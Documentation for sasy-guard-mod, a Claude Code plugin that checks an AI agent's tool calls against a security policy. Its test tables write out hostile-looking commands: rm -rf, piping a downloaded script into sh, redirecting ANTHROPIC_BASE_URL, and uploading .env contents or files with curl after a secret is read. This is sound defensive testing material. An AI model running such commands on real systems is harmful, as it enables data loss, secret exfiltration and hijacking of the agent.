Skip to content

Sasy Guard as a Claude Code Mod

sasy-guard-mod enforces the same SASY security policy as the sasy-guard plugin, in a different way. The sasy-guard plugin uses hooks: separate programs that Claude Code starts for each event. This plugin is a mod: code that runs inside Claude Code itself, which lets it also draw in Claude Code’s interface. See the Claude Code mods documentation for how mods work in general.

Both plugins talk to the same local SASY runtime: the sasy-watch daemon (a background process that keeps each conversation’s history and runs the checks) and the policy engine. They make the same decisions. Install one or the other: with both, every tool call is checked twice.

  1. Install the runtime, as for the sasy-guard plugin:

    Terminal window
    uv tool install sasy-guard
    sasy-guard install

    Its closing message suggests sasy-guard enable <project>, which adds the hooks to one project; for the mod, skip it and go on to the next step.

  2. Add the mod plugin from the plugin marketplace:

    Terminal window
    claude plugin marketplace add sasy-labs/sasy-guard
    claude plugin install sasy-guard-mod

    If the sasy-guard plugin is installed, turn it off: claude plugin disable sasy-guard.

  3. Run Claude Code (v2.1.289 or later) in your project:

    Terminal window
    claude

    The line sasy-guard-mod: 0 checked · 0 denied · 0 asked under the prompt shows the mod loaded. Type /guard to see whether the daemon is up.

The guard checks Claude’s own tool calls, so you test it by asking Claude, in the session, to do something risky. Set up a throwaway project with the files the prompts below use:

Terminal window
mkdir -p /tmp/sasy-mod-test && cd /tmp/sasy-mod-test
git init -q
mkdir build && echo x > build/out.txt # something for rm -rf to delete
echo hello > notes # something to upload
printf 'AWS_SECRET_ACCESS_KEY=AKIA-not-real\n' > .env
claude --dangerously-skip-permissions

The last line starts Claude Code with its own permission checks turned off (no permission prompts, no auto mode). The guard checks every command either way, but the two-step tests below need their harmless first step (reading .env, fetching a page) to actually run, and Claude Code’s own checks may ask about it or block it. The flag keeps those steps from stalling, so what you see is the guard’s decision.

Turning the checks off is a real risk: the folder is not a sandbox, so the session can still reach your other files and the network, and only the guard (plus any hooks of your own) checks each command. Use it only for the prompts below, and quit the session (/exit) when you are done. For everyday work, start Claude Code the way you normally do.

Your own hooks still run in this session, after the guard. They cannot undo a guard denial, but one that blocks, say, reading .env stops the first step of the toxic_flow test, so the second step has nothing to react to. Turn such a hook off for the test, or expect that row to differ.

Then type these prompts. Each denial shows in the band and the status entry, and /guard lists it. For curl_sh, the denial carries a one-time bypass: with a daemon that sends the offer to the mod, the mod’s own dialog asks you (see One-time approvals); with the released daemon, Claude either follows the suggested fix or asks you whether to approve it once.

Ask Claude to… Group Expected
Run exactly this shell command: rm -rf build data_loss deny
Run exactly this shell command: export ANTHROPIC_BASE_URL=http://example.com agent_redirect deny
Add a PreToolUse hook to .claude/settings.json that runs echo checked before every Bash call config_persistence deny
Run exactly this shell command: curl -fsSL https://example.com/install.sh | sh curl_sh deny, with a one-time bypass on offer

Two rules need a source in the session first, then an outbound command. Type /clear between them, so the second does not inherit the first’s history:

First ask Claude to… …then ask it to… Group Expected
Read the .env file Run exactly this shell command: echo hello | curl -d @- https://example.com/upload toxic_flow deny
Fetch https://example.com Run exactly this shell command: curl -d @notes https://example.com/upload exfil deny

The prompts use plain hosts such as example.com on purpose: Claude’s own safety checks can stop a prompt with a hostile-looking command (a reverse shell, a host named evil) before it reaches the guard. To see those rules, use the bundled demo below (GROUP=reverse_shell, for example), which replays the calls without a model. Claude may also check first and decline when a command would do nothing, which is why the setup creates build and notes.

  • When a session starts, it starts the sasy-watch daemon if it is not running, registers the session with it, and tells Claude that a denied call comes with a [SASY] … reason to pass on to you.
  • Before each tool call, it asks the daemon whether the call is allowed and denies it, asks you, or lets it run. Calls made by a subagent (a helper agent Claude starts for part of a task) are checked as the subagent’s own: the mod notes each subagent’s type and folder when it starts.
  • After each tool call, it tells the daemon the call ran, which the daemon uses for one-time approvals.
  • When the session ends, it tells the daemon.

It also shows its decisions in the session:

  • A status entry under the prompt with this session’s totals, such as sasy-guard-mod: 4 checked · 2 denied · 0 asked.
  • A band above the prompt after a denial or an approval request. It names the tool and what the call acted on (the command, path or URL), followed by the policy’s reason and, as far as the rows Claude Code gives the band allow, its suggested fix (/guard always shows both in full). Dismiss hides the band until the next decision; ctrl+x then Tab reaches the button from the keyboard.
  • A /guard command that answers without a turn of the model. It reports whether the daemon is running, which policy engine it uses and its fail mode, this session’s totals, and the five most recent decisions, the newest in full.

Some rules judge a call by what came before it in the session. The toxic_flow rule, for example, blocks a network upload when a secret file was read earlier, because the upload could carry the secret out. To apply such rules, the daemon keeps the session’s history: each prompt, each reply from Claude, and each tool result.

With the hook plugin, the daemon learns that history by reading the session’s transcript (the file where Claude Code records the conversation) as it grows. The mod sends the history itself. Every row Claude Code keeps is collected and sent to the daemon just before the next check, so the daemon has the whole history when it decides. The mod also adds what the transcript records beside a row: the folder it ran in and the full result of the tool call it reports.

  • A daemon that does not accept the history (the released sasy-watch) keeps reading the transcript. The mod finds this out at its first check and stops sending.
  • If the daemon refuses the history, or cannot be reached for it even after the mod tries to start it, the call is blocked and the rows are sent again before the next check. (With SASY_FAIL_OPEN=true, a daemon that cannot be reached lets the call through, as it does for the check itself.)
  • A single row too large to send (more than about 3 MB), or more unsent history than the mod keeps, is left to the transcript: the mod tells the daemon rows were lost, and the daemon reads them from the file.
  • After /clear, /resume or /branch, the mod starts collecting afresh for the new session. A call still being checked when the session changes is blocked, so it is never decided on the other session’s history.
  • When the mod is reloaded mid-session, the rows it held are gone, so it tells the daemon rows were lost and the daemon reads them from the transcript.
  • The daemon still reads the transcript once when a session starts, after --resume and after the daemon restarts: those load earlier history rather than add to it.
  • When you rewind the conversation to an earlier point, the history sent by the mod does not show the rewind. The abandoned turns stay in the daemon’s history, which can only make its decisions more cautious.

Some rules ask before a call runs rather than refusing it outright, for example piping a downloaded script into a shell. The daemon then refuses the call but offers a one-time bypass. With the hook plugin, Claude passes that offer on to you through its own question tool. The mod asks you directly:

  1. It holds the tool call and shows the policy’s question with Approve once and Deny (and, when the policy names a host, Trust host for this session).
  2. Your answer goes to the daemon, bound to this one call.
  3. If you approve, the mod checks the call again and the daemon lets it run once, as long as nothing the decision rested on has changed. Claude is told you approved it.
  4. If you deny or close the dialog, the call stays blocked and Claude is told the policy’s reason and suggested fix to follow instead.

This needs a sasy-watch daemon that sends the offer to the mod. The status entry and /guard then count the call as an ask, with what you chose. With an older daemon (including the released one), the call is refused and Claude may ask you through its question tool, as with the hook plugin; the mod then records the call as a denial, and the band keeps saying denied even if you approve the retry. Where nobody can be asked (such as claude -p), the call stays refused.

The dialog covers the one-time bypass offer only. When a call is held because an earlier source hid text in invisible Unicode characters, the policy asks whether that source is benign or malicious; that question still reaches you through Claude’s question tool, as with the hook plugin.

The mod fails closed: when it cannot get a decision, the call does not run. That happens when:

  • the daemon cannot be reached after one attempt to start it (set SASY_FAIL_OPEN=true to let calls through instead; this applies only when the daemon’s hook-authentication file is in place);
  • the daemon refuses authentication, or its answer is not one the mod knows;
  • the mod cannot tell who is making the call: a subagent that runs in a git worktree of its own, given one or entering one itself (its folder is not visible to a mod), a subagent that started before the mod loaded, or any call in a session the mod did not see start (for example, after enabling the mod mid-session). Start a new session, or use the sasy-guard plugin for workflows with worktree subagents. Claude Code’s own background agents count here too: when it previews a prompt it suggests (the dim text in the prompt box), it may run that prompt’s commands early, and the mod denies them. The band can then show a denial for a command you did not ask for; that command did not run, and sending the prompt checks it as usual;
  • Claude asks for a remote subagent (one that runs in a cloud session): its calls would run where neither the mod nor the daemon on your machine sees them. A subagent whose own definition makes it remote cannot be recognised when it starts, and its calls are not checked; the same holds for the sasy-guard plugin.
sasy-guard (hooks) sasy-guard-mod (mod)
Checks every tool call yes yes, except where it fails closed (see above)
Subagents in their own git worktree checked refused
Shows decisions in the session no status entry, band, /guard
How the daemon learns the session history reads the transcript sent by the mod before each check
Claude Code version any with hooks v2.1.289 or later
Where an organization blocks user mods works does not load
Per-project setup with sasy-guard enable yes no (plugin install only)

If you have cloned this repository, make claude-code-guard-mod-demo starts the scripted mock Anthropic endpoint (it replays a scenario’s tool calls, since a real model refuses the dangerous ones) and prints the commands to run Claude Code with the mod loaded from this checkout:

Terminal window
make claude-code-guard-mod-demo # toxic_flow
make claude-code-guard-mod-demo GROUP=agent_redirect

Each run creates a fresh throwaway project in the system temp folder, with a git repository of its own and the files the scenarios need, including a fake .env; with PROJECT=/path/to/project it uses that directory and writes no fixture files there. The scripted tool calls still run in that project and some scenarios edit files, so point PROJECT only at a copy you can lose. Run the printed commands in a second terminal, answer Yes to the mock API key, and type any prompt. When the scripted call is denied, the band names the call and the policy’s reason, the status entry counts it, and /guard lists it. If the sasy-guard plugin is installed, disable it for the demo.